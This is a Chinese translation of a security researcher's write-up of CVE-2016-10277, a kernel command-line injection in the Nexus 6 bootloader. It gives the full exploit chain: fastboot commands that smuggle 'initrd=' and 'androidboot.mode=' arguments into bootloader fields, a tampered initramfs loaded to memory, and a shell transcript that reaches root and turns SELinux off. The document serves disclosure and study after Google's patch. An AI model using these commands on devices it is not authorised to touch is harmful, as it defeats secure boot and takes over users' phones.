导语:在2017年5月的Android安全公告中,Google发布了一个用于修复CVE- 2016-10277的补丁。

在2017年5月的Android安全公告中,Google发布了一个用于修复CVE- 2016-10277的补丁。

利用此漏洞,攻击者可以对具有ADB/ fastbootUSB访问权限(启动加载程序锁定)的设备进行破坏,允许他获得无限制的root权限,并通过加载篡改或恶意图像来完全拥有用户空间initramfs。此外,这种利用不会导致设备恢复出厂设置,因此用户数据仍会保持不变(并且仍然加密)。

在这项研究中,我们还发现了一个已经有18年的的Linux内核bug(不影响Nexus 6,可能也不会影响任何Android设备):CVE-2017-1000363

2017年1月,我们披露了一个高危的漏洞CVE-2016-8467,它主要影响Nexus 6 / 6P,允许攻击者更改设备的引导模式,从而访问隐藏的USB接口。这是通过一个fastboot命令完成的,例如fastboot oem config bootmode bp-tools导致bootloader更改androidboot.mode内核命令行中的参数的命令。Google已经通过加固引导程序来修复了此问题 – 锁定的引导加载程序不再允许使用自定义引导模式引导。然而就在Google发布补丁之前,我们又发现了在Nexus 6上绕过它的方法

漏洞:内核命令行注入(CVE-2016-10277)

Nexus 6的引导加载程序包含几个可以通过该fastboot界面控制的参数,即使引导加载程序被锁定:

$ fastboot oem config
[...]
(bootloader) <UTAG name="battery" protected="false">(bootloader)   <value>(bootloader)   </value>(bootloader)   <description>(bootloader)     Battery detection control
(bootloader)     ("meter_lock" or "no_eprom")
(bootloader)   </description>(bootloader) </UTAG>(bootloader) <UTAG name="bootmode" protected="false">(bootloader)   <value>(bootloader)   </value>(bootloader)   <description>(bootloader)     To force certain bootmode
(bootloader)     (valid values are "fastboot", "factory", "bp-tools", "q
(bootloader)     com", and "on-device-diag")
(bootloader)   </description>(bootloader) </UTAG>(bootloader) <UTAG name="carrier" protected="false">(bootloader)   <value>(bootloader)   </value>(bootloader)   <description>(bootloader)     Carrier IDs, see http://goo.gl/lojLh3
(bootloader)   </description>(bootloader) </UTAG>(bootloader) <UTAG name="console" type="str" protected="false">(bootloader)   <value>(bootloader)   </value>(bootloader)   <description>(bootloader)     Config kernel console log
(bootloader)       enable|true     - enable with default settings
(bootloader)       disable|false   - disable
(bootloader)       <config string> - enable with customized settings
(bootloader)       (e.g.: "ttyHSL0", "ttyHSL0,230400,n8")
(bootloader)   </description>(bootloader) </UTAG>(bootloader) <UTAG name="fsg-id" type="str" protected="false">(bootloader)   <value>(bootloader)   </value>(bootloader)   <description>(bootloader)     FSG IDs, see http://goo.gl/gPmhU
(bootloader)   </description>(bootloader) </UTAG>OKAY [  0.048s]
finished. total time: 0.048s

fsg-id,carrier以及console参数可以包含任意值(尽管具有受限大小),这最终传播到内核命令行。可以通过发出以下命令来证明:

$ fastboot oem config console foo
$ fastboot oem config fsg-id bar
$ fastboot oem config carrier baz

然后检查内核命令行:

shamu:/ $ dmesg | grep command
[    0.000000] Kernel command line: console=foo,115200,n8 earlyprintk 
androidboot.console=foo androidboot.hardware=shamu msm_rtb.filter=0x37
ehci-hcd.park=3 utags.blkdev=/dev/block/platform/msm_sdcc.1/by-name/utags
utags.backup=/dev/block/platform/msm_sdcc.1/by-name/utagsBackup coherent_pool=8M
vmalloc=300M buildvariant=user androidboot.bootdevice=msm_sdcc.1 androidboot.serialno=ZX1G427V97
androidboot.baseband=mdm androidboot.version-baseband=D4.01-9625-05.45+FSG-9625-02.117
androidboot.mode=normal androidboot.device=shamu androidboot.hwrev=0x83A0
androidboot.radio=0x7 androidboot.powerup_reason=0x00004000 androidboot.bootreason=reboot
androidboot.write_protect=0 restart.download_mode=0 androidboot.fsg-id=barandroidboot.secure_hardware=1 androidboot.cid=0xDE androidboot.wifimacaddr=F8:CF:C5:9F:8F:EB
androidboot.btmacaddr=F8:CF:C5:9F:8F:EA mdss_mdp.panel=1:dsi:0:qcom,mdss_dsi_mot_smd_596_QHD_dualmipi0_cmd_v0
androidboot.bootloader=moto-apq8084-72.02 androidboot.carrier=baz androidboot.hard<

现在,如果引导程序没有清理这些参数,那么我们就可以传递任意的内核命令行参数:

$ fastboot oem config console "a androidboot.foo=0 "
$ fastboot oem config fsg-id "a androidboot.bar=1"
$ fastboot oem config carrier "a androidboot.baz=2"

看起来确实是这样:

shamu:/ $ dmesg | grep command
[    0.000000] Kernel command line: console=a androidboot.foo=0 ,115200,n8 earlyprintk 
androidboot.console=a androidboot.foo=0  androidboot.hardware=shamu msm_rtb.filter=0x37
ehci-hcd.park=3 utags.blkdev=/dev/block/platform/msm_sdcc.1/by-name/utags
utags.backup=/dev/block/platform/msm_sdcc.1/by-name/utagsBackup coherent_pool=8M
vmalloc=300M buildvariant=user androidboot.bootdevice=msm_sdcc.1 androidboot.serialno=ZX1G427V97
androidboot.baseband=mdm androidboot.version-baseband=D4.01-9625-05.45+FSG-9625-02.117
androidboot.mode=normal androidboot.device=shamu androidboot.hwrev=0x83A0
androidboot.radio=0x7 androidboot.powerup_reason=0x00004000 androidboot.bootreason=reboot
androidboot.write_protect=0 restart.download_mode=0 androidboot.fsg-id=a androidboot.bar=1androidboot.secure_hardware=1 androidboot.cid=0xDE androidboot.wifimacaddr=F8:CF:C5:9F:8F:EB
androidboot.btmacaddr=F8:CF:C5:9F:8F:EA mdss_mdp.panel=1:dsi:0:qcom,mdss_dsi_mot_smd_596_QHD_dualmipi0_cmd_v0
androidboot.bootloader=moto-apq8084-72.02 androidboot.carrier=a androidboot.baz=2 androidboot.hard<

可以看到,我们设法设置了任意ro.boot属性:

shamu:/ $ getprop ro.boot.foo
0
shamu:/ $ getprop ro.boot.bar
1
shamu:/ $ getprop ro.boot.baz
2
shamu:/ $

结果显而易见:绕过了CVE-2016-8467的补丁。在这里,绕过CVE-2016-8467的补丁是微不足道的:

$ fastboot oem config console "a androidboot.mode=bp-tools "
[...]
(bootloader) <UTAG name="conolse" type="str" protected="false">(bootloader)   <value>(bootloader)     a androidboot.mode=bp-tools
(bootloader)   </value>(bootloader)   <description>(bootloader)     Carrier IDs, see http://goo.gl/lojLh3
(bootloader)   </description>(bootloader) </UTAG>[...]

事实上

shamu:/ $ getprop ro.boot.mode
bp-tools
shamu:/ $

请注意,我们必须更改参数console才能干掉androidboot.mode引导加载程序插入的真实参数。(处理该init进程的内核cmdline的代码是core/init/init.cpp!import_kernel_nv。)但是,通过在命令行中插入任意的args,我们可以改变引导模式吗?

一个全新的攻击面

内核命令行由整个操作系统的多个实体使用,包括:

在内核代码中,通过__setup宏
在内核代码中,通过early_param宏
在内核模块代码中,通过module_param*宏
在内核模块代码中,通过core_param宏
在用户空间(例如init,见上文)

如果不是几百个而是有几十个这些宏的使用,那么任何通过控制它们引入的功能或bug都可以被利用我们现在马上就会看到,其已经能够控制一个单一的参数让我们的安全启动失败。

在Nexus 6中安全启动

高通MSM设备(如摩托罗拉Nexus 6)的引导过程(简要地说是如下):

[Primary Bootloader (PBL)]`-.  [Secondary Bootloader (SBL)]
   `-.     [Applications Bootloader (ABOOT)]
     `-.      
       [{boot,recovery}.img]
       |-- Linux Kernel
       `-- initramfs
           `-.             [system.img]

在当设备充电时,PBL的生效来自于ROM。然后加载数字签名SBL的内存,并验证其真实性。在SBL加载数字签名ABOOT(实现fastboot接口),并再次验证其真实性。签名的证书SBL并ABOOT具有固定在硬件中的根证书。

ABOOT接下来验证的是boot或recovery图像的真实性,加载Linux内核和initramfs从引导或恢复图像在固定的物理地址(0x8000&0x2000000中的Nexus 6)。initramfs是在Linux内核初始化期间cpio加载到rootfs(加载的RAM 文件系统)中的(gzip压缩)归档文件。它包含init二进制,第一个用户的pace process.。

bootloader(ABOOT)为位于物理地址initramfs的设备树Blob(DTB)中的Linux内核准备了内核命令行和参数0x1e00000,可以通过将内存转储DTB到磁盘来确认,然后解析fdtdump:

[...]
linux,initrd-end = <0x02172814>;
linux,initrd-start = <0x02000000>;
bootargs = "console=ttyHSL0,115200,n8 earlyprintk androidboot.console=ttyHSL0 androidboot.hardware=shamu msm_rtb.filter=0x37 ehci-hcd.park=3 
utags.blkdev=/dev/block/platform/msm_sdcc.1/by-name/utags utags.backup=/dev/block/platform/msm_sdcc.1/by-name/utagsBackup coherent_pool=8M 
vmalloc=300M buildvariant=userdebug androidboot.bootdevice=msm_sdcc.1 androidboot.serialno=ZX1G427V97 androidboot.baseband=mdm
[...]

bootloader然后将执行转移到Linux内核。

Linux内核初始化:从ABOOT到初始化

Linux内核函数通过分析给出的参数ABOOT中DTB的early_init_dt_scan_chosen。在arm内核中,它最终称之为具体的功能:

void __init early_init_dt_setup_initrd_arch(unsigned long start, unsigned long end){
phys_initrd_start = start;
phys_initrd_size = end - start;}

所寻址的物理存储器phys_initrd_start会通过以下代码映射到虚拟地址空间中:

void __init arm_memblock_init(struct meminfo *mi, struct machine_desc *mdesc){[...]
if (phys_initrd_size) {
memblock_reserve(phys_initrd_start, phys_initrd_size);
/* Now convert initrd to virtual addresses */
initrd_start = __phys_to_virt(phys_initrd_start);
initrd_end = initrd_start + phys_initrd_size;
}[...]}

将initramfs被分解到rootfs下一个:

static int __init populate_initramfs(void){[...]
   if (initrd_start) {#ifdef CONFIG_BLK_DEV_RAMint fd;    
err = unpack_to_initramfs((char *)initrd_start,
initrd_end - initrd_start);
if (!err) {
free_initrd();
goto done;
} else {
clean_initramfs();
unpack_to_initramfs(__initramfs_start, __initramfs_size);
}[...]
   }
   return 0;}initramfs_initcall(populate_initramfs);

最终kernel_init调用函数,执行第一个用户空间进程:/init。

static int __ref kernel_init(void *unused){[...]
if (ramdisk_execute_command) {
if (!run_init_process(ramdisk_execute_command))
return 0;
pr_err("Failed to execute %sn", ramdisk_execute_command);
}[...]}

初始化用户空间以及dm-verity

init负责提高用户空间。其职责就是设置SELinux(加载其策略等)。一旦加载策略,它将在kernel域中,但是在SELinux初始化代码完成之后不久,它将自身转移到init域中。请注意,在产品版本中,即使内核加载了非enforcingSELinux(可以通过附加androidboot.selinux=permissive到内核命令行来完成),init也将会重新执行:

static void selinux_initialize(bool in_kernel_domain) {[...]
    if (in_kernel_domain) {
        INFO("Loading SELinux policy...n");[...]
        bool kernel_enforcing = (security_getenforce() == 1);
        bool is_enforcing = selinux_is_enforcing();
        if (kernel_enforcing != is_enforcing) {
            if (security_setenforce(is_enforcing)) {
                ERROR("security_setenforce(%s) failed: %sn",
                      is_enforcing ? "true" : "false", strerror(errno));
                security_failure();
            }
        }[...]
    }}

(在过程中,selinux_is_enforce()总是返回true。)。

init也会触发分区挂载。dm-verity后来system使用存储在initramfs(/verity_key)下的公钥验证相关分区的完整性(例如) – 不受信任的initramfs意味着不可信system分区。

那么给定内核命令行注入漏洞的攻击者怎么能干扰上述引导过程呢?

失败的尝试:控制ramdisk_execute_command

原来,有一个内核命令行参数rdinit覆盖/init,默认值为:

static int __init rdinit_setup(char *str){
unsigned int i;
ramdisk_execute_command = str;
/* See "auto" comment in init_setup */
for (i = 1; i < MAX_INIT_ARGS; i++)
argv_init[i] = NULL;
return 1;}__setup("rdinit=", rdinit_setup);

通过利用我们的漏洞这看起来很有希望的—导致内核执行任意的用户空间进程,例如fastboot oem config carrier "a rdinit=/sbin/foo"。但我们遇到的主要挑战来自于是Nexus 6 initramfs包含非常有限的二进制文件从而导致出现了控制rdinit无效的事实:

$ ls -la sbin
adbd  healthd  slideshow ueventd  watchdogd

即使其中一个可能具有一些潜力(例如adbd),在执行点的用户空间也未被初始化,因此它们可能由于相关的依赖关系不能满足而失败。鉴于上述相当大的攻击面,我们决定将其转移到我们可以控制的下一个命令行参数,但是这些二进制文件的进一步分析可能证明它们是有用的。

控制initramfs物理加载地址

有趣的是,我们已经意识到,arm也可以通过内核命令行参数来控制内核加载initrd的物理地址initramfs!

arch/arm/mm/init.c之下:

static int __init early_initrd(char *p){
unsigned long start, size;
char *endp;
start = memparse(p, &endp);
if (*endp == ',') {
size = memparse(endp + 1, NULL);
phys_initrd_start = start;
phys_initrd_size = size;
}
return 0;}early_param("initrd", early_initrd);

这将覆盖所提供的缺省值ABOOT的DTB。然后我们用一个随机值来测试它,期望内核崩溃:

$ fastboot oem config fsg-id "a initrd=0x33333333,1024"[...]
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader)   <value>
(bootloader)     a initrd=0x33333333,1024
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     FSG IDs, see http://goo.gl/gPmhU
(bootloader)   </description>
(bootloader) </UTAG>
OKAY [  0.016s]
finished. total time: 0.016s$ fastboot continue

它居然真的崩溃了!

这种攻击类似于在内存损坏bug中控制指令指针(IP寄存器)或程序计数器(PC寄存器),因此在这种情况下,首先要做的是将我们自己篡改的initramfs归档加载到设备内存中的fastboot。

请注意,Linux内核不会重新验证其真实性initramfs,它依赖于引导程序来执行此操作,因此,如果我们设法篡改initramfs受控的phys_initrd_start物理地址,内核将会将其填充到rootfs。

通过USB将任意数据加载到内存中

ABOOT的fastboot提供经由USB下载机制,其支持诸如闪烁。下载功能即使在锁定的引导加载程序中也可用,因此攻击者可以使用此功能来加载initramfs设备上的篡改。我们唯一的希望是,引导加载程序和内核清零/覆盖之前的数据initramfs被填充rootfs。为了验证,我们进行了以下实验。首先,我们msm-shamu使用可加载内核模块(LKM)来安装我们自己的内核。然后,我们通过fastboot以下方式向设备上传了一个大型的BLOB 0123456789ABCDEFALEFALEFALEF…:

$ fastboot flash aleph payload.bin[...]
target reported max download size of 536870912 bytes
sending 'aleph' (524288 KB)...
OKAY [ 62.610s]
writing 'aleph'...
(bootloader) Not allowed in LOCKED state!
FAILED (remote failure)
finished. total time: 62.630s

请注意,失败的消息是由于闪烁的尝试,但是,数据无论如何都是由设备来下载。

我们引导了平台使用fastboot continue,然后用LiMELKM(一个很棒的工具!)来转储整个物理内存,寻找我们的blob:

10FFFFC0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
10FFFFD0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
10FFFFE0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
10FFFFF0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
11000000  30 31 32 33 34 35 36 37 38 39 41 42 43 44 45 46  0123456789ABCDEF
11000010  41 4C 45 46 41 4C 45 46 41 4C 45 46 41 4C 45 46  ALEFALEFALEFALEF
11000020  41 4C 45 46 41 4C 45 46 41 4C 45 46 41 4C 45 46  ALEFALEFALEFALEF
11000030  41 4C 45 46 41 4C 45 46 41 4C 45 46 41 4C 45 46  ALEFALEFALEFALEF
11000040  41 4C 45 46 41 4C 45 46 41 4C 45 46 41 4C 45 46  ALEFALEFALEFALEF
11000050  41 4C 45 46 41 4C 45 46 41 4C 45 46 41 4C 45 46  ALEFALEFALEFALEF

这给了我们非常好的保证,因为即使平台运行,我们的有效载荷也能存活下来。我们已经重复了这个过程几次,没有出现任何其他随机现象 – 有效载荷总是加载在0x11000000Linux内核上!

出于好奇,我们也偷偷地验证了这个结果。事实证明,Nexus 6所基于的小内核(LK)指定了SCRATCH_ADDR作为下载数据所在的存储区域。加载ABOOT二进制IDA确认(函数重命名为可读性):

int fastboot_mode(){[...]
  dprintf(1, "Entering fastboot moden");[...]
  v8 = return11000000();
  v9 = return20000000();
  fastboot_init(v8, v9);
  v11 = sub_FF2EA94(v10);
  if ( v13 != v10021C84 )
    sub_FF3D784();
  return sub_FF15BA4(v11);}signed int return11000000(){
  signed int result; // [email protected]
  result = 0x11000000;
  if ( v10021C84 != v10021C84 )
    sub_FF3D784();
  return result;}

该值最终由下载处理程序ABOOT所消耗。

总而言之,在initramfs存档从内存填充到rootfs以下之前,我们具有以下物理内存布局:

.-------------------.------------------------------.-----------.
| Physical Address  | What                         | Loaded by |
|-------------------|------------------------------|-----------|
| 0x00008000        | Linux Kernel                 | ABOOT     |
| 0x01E00000        | Device Tree Blob (DTB)       | ABOOT     |
| 0x02000000        | Verified initramfs           | ABOOT     |
| 0x11000000        | Tampered initramfs (payload) | Adversary |
`-------------------'------------------------------'-----------'

现在我们已经完成了,现在我们可以把initramfs它们固定在一个固定的地址上,然后指示内核填充它。

创建恶意的initramfs

最后一步是创造我们自己的恶意initramfs。只需编译一个userdebug AOSP引导映像,并将initramfs.cpio.gz文件从该文件中删除,因为它包含su域和根目录adbd。唯一的警告是dm-verity无法验证官方system分区(因为AOSP引导映像将包含调试verity_key)。无论如何,由于我们现在可以加载恶意软件initramfs,因此可以通过编辑fstab文件(删除验证)轻松地绕过这种烦恼,或者从正式的相关版本来对verity_key进行替换调试。

我们现在拥有需要的一切:一个恶意的initramfs档案。

我们可以使用引导加载程序fastboot接口将其加载到固定物理地址的内存中。

我们可以指挥Linux内核从该地址填充它。在安全启动方面,我们现在有以下破坏的(dis)信任链接:

[Primary Bootloader (PBL)]`-.  [Secondary Bootloader (SBL)]
   `-.     [Applications Bootloader (ABOOT)]
     `-.      
       [{boot,recovery}.img]
       |-- Linux Kernel
       `-- initramfs <- Controlled by Attacker in Memory
           `-.             [system.img] <- Cannot be Trusted

接下来所展现的就是一次成功的攻击:

$ adb shellshamu:/ $ id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:shell:s0
shamu:/ $ getenforce
Enforcing
shamu:/ $ setenforce permissive
setenforce: Couldn't set enforcing status to 'permissive': Permission denied
shamu:/ $ reboot bootloader$ fastboot getvar unlocked[...]
unlocked: no
finished. total time: 0.008s$ fastboot oem config fsg-id "a initrd=0x11000000,1518172"[...]
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader)   <value>
(bootloader)     a initrd=0x11000000,1518172
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     FSG IDs, see http://goo.gl/gPmhU
(bootloader)   </description>
(bootloader) </UTAG>
OKAY [  0.016s]
finished. total time: 0.016s$ fastboot flash aleph malicious.cpio.gz[...]
target reported max download size of 536870912 bytes
sending 'aleph' (1482 KB)...
OKAY [  0.050s]
writing 'aleph'...
(bootloader) Not allowed in LOCKED state!
FAILED (remote failure)
finished. total time: 0.054s$ fastboot continue[...]
resuming boot...
OKAY [  0.007s]
finished. total time: 0.007s$ adb shellshamu:/ # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0
shamu:/ # getenforce
Enforcing
shamu:/ # setenforce permissive
shamu:/ # getenforce
Permissive
shamu:/ #

超越initramfs:固件注入

现在我们已经完全控制了rootfs,我们还可以创建一个恶意的/vendor文件夹,通常包含板上可用的各种SoC的固件映像:

shamu:/ # ls /vendor/firmware
VRGain.bin  adsp.b03 adsp.b11                                 bcm20795_firmware.ncd   left.boost.music.eq           left.boost_n1b12.patch           right.boost.ringtone.eq        right.boost_ringtone_table.preset venus.mdt
a420_pfp.fw adsp.b04 adsp.b12                                 bcm4354A2.hcd           left.boost.ringtone.config    left.boost_n1c2.patch            right.boost.speaker            right.boost_voice_table.preset    widevine.b00
a420_pm4.fw adsp.b05 adsp.mdt                                 cy8c20247_24lkxi.hex    left.boost.ringtone.eq        left.boost_ringtone_table.preset right.boost.voice.config       venus.b00                         widevine.b01
acdb.mbn    adsp.b06 aonvr1.bin                               fw_bcmdhd.bin           left.boost.speaker            left.boost_voice_table.preset    right.boost.voice.eq           venus.b01                         widevine.b02
adsp.b00    adsp.b07 aonvr2.bin                               fw_bcmdhd_apsta.bin     left.boost.voice.config       right.boost.music.config         right.boost_music_table.preset venus.b02                         widevine.b03
adsp.b01    adsp.b08 atmel-a432-14061601-0102aa-shamu-p1.tdat keymaster               left.boost.voice.eq           right.boost.music.eq             right.boost_n1b12.patch        venus.b03                         widevine.mdt
adsp.b02    adsp.b10 atmel-a432-14103001-0103aa-shamu.tdat    left.boost.music.config left.boost_music_table.preset right.boost.ringtone.config      right.boost_n1c2.patch         venus.b04

内核驱动程序通常在初始化时消耗这些映像,如果需要,可更新其SoC对等体。因此,攻击者可能会闪烁未签名的固件映像。我们还没有检查是否有这样的,但是从我们与其他设备的经验来看是有。对于签名的,降级攻击也是可能的。此外,调制解调器固件位于/firmware/image,我们也可以进行改变来进行理论上类似的攻击(见下文)。再次,我们还没有验证是否存在什么样的诚信检查,也没有验证是否容易受到降级攻击的威胁,留在未来的研究中。

shamu:/ # umount -f /firmware
shamu:/ # mount  /dev/block/mmcblk0p1 /firmware -o rw
shamu:/ # ls /firmware/image
acdb.mbn         bdwlan20.bin cmnlib.b03       efs1.bin    isdbtmm.b01 mba_9225.mbn.gz playready.b00 playready.mdt prov.b03            qwlan11.bin     sampleapp.b00 sampleapp.mdt    securemm.b01 tqs.b00 tqs.mdt        utf20.bin
apps_9225.mbn.gz cmnlib.b00   cmnlib.mdt       efs2.bin    isdbtmm.b02 mba_9625.mbn.gz playready.b01 prov.b00      prov.mdt            qwlan20.bin     sampleapp.b01 sbl1_9225.mbn.gz securemm.b02 tqs.b01 tz_9225.mbn.gz
apps_9625.mbn.gz cmnlib.b01   dsp2_9225.mbn.gz efs3.bin    isdbtmm.b03 otp11.bin       playready.b02 prov.b01      qdsp6sw_9225.mbn.gz rpm_9225.mbn.gz sampleapp.b02 sbl1_9625.mbn.gz securemm.b03 tqs.b02 tz_9625.mbn.gz
bdwlan11.bin     cmnlib.b02   dsp2_9625.mbn.gz isdbtmm.b00 isdbtmm.mdt otp20.bin       playready.b03 prov.b02      qdsp6sw_9625.mbn.gz rpm_9625.mbn.gz sampleapp.b03 securemm.b00     securemm.mdt tqs.b03 utf11.bin
shamu:/ # echo foo > /firmware/image/foo
shamu:/ # cat /firmware/image/foo
foo

Google的补丁

Google针对此漏洞的补丁可在“ 2017年5月公告”中找到。Bootloader的版本moto-apq8084-72.03允许N6F27C现在进行对fsg-id,carrier以及console的清理并配置参数:

$ fastboot oem config fsg-id "foo foo=1"
[...]
$ fastboot oem config carrier "bar bar=1"
[...]
$ fastboot oem config carrier "baz baz=1"
[...]
$ fastboot oem config
[[email protected]:/aosp/source/android-7.1.1_r40]$ fastboot oem config
[...]
(bootloader) <UTAG name="carrier" type="str" protected="false">(bootloader)   <value>(bootloader)     bar
(bootloader)   </value>(bootloader)   <description>(bootloader)     Carrier IDs, see http://goo.gl/lojLh3
(bootloader)   </description>(bootloader) </UTAG>(bootloader) <UTAG name="console" type="str" protected="false">(bootloader)   <value>(bootloader)     baz
(bootloader)   </value>(bootloader)   <description>(bootloader)     Config kernel console log
(bootloader)       enable|true     - enable with default settings
(bootloader)       disable|false   - disable
(bootloader)       <config string> - enable with customized settings
(bootloader)       (e.g.: "ttyHSL0", "ttyHSL0,230400,n8")
(bootloader)   </description>(bootloader) </UTAG>(bootloader) <UTAG name="fsg-id" type="str" protected="false">(bootloader)   <value>(bootloader)     foo
(bootloader)   </value>(bootloader)   <description>(bootloader)     FSG IDs, see http://goo.gl/gPmhU
(bootloader)   </description>(bootloader) </UTAG>]

轶事:Linux内核超出写入(CVE-2017-1000363)

在这项研究的工作中,我们还发现了一个年代久远的(从2.2.0!)Out-of-Bounds写入Linux内核漏洞CVE-2017-1000363。该漏洞在lp驱动程序中(因此CONFIG_PRINTER=y是必需的),并且当许多lp=none参数附加到内核命令行时被触发:

static int parport_nr[LP_NO] = { [0 ... LP_NO-1] = LP_PARPORT_UNSPEC };[...]#ifndef MODULEstatic int __init lp_setup (char *str){
static int parport_ptr;[...]
} else if (!strcmp(str, "none")) {
parport_nr[parport_ptr++] = LP_PARPORT_NONE;
} [...]}#endif[...]__setup("lp=", lp_setup);
源链接

Hacking more

...